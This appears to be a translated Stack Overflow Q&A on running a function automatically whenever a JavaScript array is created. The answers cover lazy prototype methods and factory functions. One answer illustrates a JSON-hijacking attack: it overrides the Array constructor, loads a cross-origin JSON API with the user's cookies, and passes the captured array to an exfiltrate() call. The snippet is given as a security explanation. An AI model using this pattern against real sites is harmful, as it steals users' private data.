创建数组时,我需要自动在该数组上调用一个函数。我认为这可能会以某种方式使用Array的原型/构造函数,但我对如何解决这个问题感到茫然。
所以我有一个数组,我初始化了:
var arr = [1, 2, 3];
现在让我们说我有这样的功能:
Array.prototype.objectArray = function() {
var result = this.every(function(elem) {
return typeof elem == "object";
});
this.isObjectArray = result;
}
因此,在这种情况下,调用此数组上的函数会将其isObjectArray
参数指定给false
。
但是,我想要的是每次自动创建数组时,此函数都会在数组上运行,因此默认情况下每个数组都设置了isObjectArray
属性。这可能吗?
提前致谢!
答案 0 :(得分:5)
据我所知,这是不可能的,但你可以定义一个懒惰地计算数组是否只包含对象的函数:
Array.prototype.isObjectArray = function () {
if (typeof(this.__isObjectArray) === 'undefined') {
this.__isObjectArray = this.every(function(elem) {
return typeof elem == "object";
});
}
return this.__isObjectArray;
};
var a = [1, 2, 3];
var b = [[], {}];
alert("a: " + a.isObjectArray() + ", b: " + b.isObjectArray());
上面的代码只进行一次计算(第一次请求),在后续调用中只返回已计算的值。
此外,如果您创建的数组未调用isObjectArray()
,则计算永远不会完成。
答案 1 :(得分:1)
没有。这可以通过覆盖Array
在EcmaScript 3下实现,但这会打开一些令人讨厌的安全漏洞,如Jeremiah Grossman's contact list exfiltration attack against Gmail,因此不太可能引入任何类似的功能。
如果攻击者可以让用户访问某个页面,那么他们可以执行以下操作:
<script>
var arrayStolenFromJSONWebAPI;
var originalArray = Array;
Array = function () {
var arr = new originalArray();
originalArray.prototype.push.apply(arr, arguments);
if (!arrayStolenFromJSONWebAPI) {
arrayStolenFromJSONWebAPI = arr;
}
return arr;
}
</script>
<!-- XSRF attack that loads JSON requested with user's cookies -->
<script src="http://foo.com/web_api_in_same_origin_that_returns_json"></script>
<script>
exfiltrate(arrayStolenFromJSONWebAPI);
</script>
答案 2 :(得分:0)
虽然@ w0lf已经很好地回答了我的问题,但@MatteoTassinari对此评论有很多赞成:
创建一个&#34;工厂&#34;将数组作为参数然后对其执行任何操作的函数。
所以我想我会查看工厂并用一个问题回答我的问题,因为任何人都可以看到可能和我在工厂一样感兴趣的问题。这就是我想出的:
function arrayFactory(arr){
var result = arr.every(function(elem) {
return typeof elem == "object";
});
arr.isObjectArray = result;
return arr;
}
var arr = arrayFactory([1, 2, 3]);
console.log(arr.isObjectArray); //false
基本上,&#34;工厂&#34; function是任何只返回一个新对象的函数 - 在我的例子中是数组,我在工厂中通过向其添加isObjectArray
变量进行变异。简单!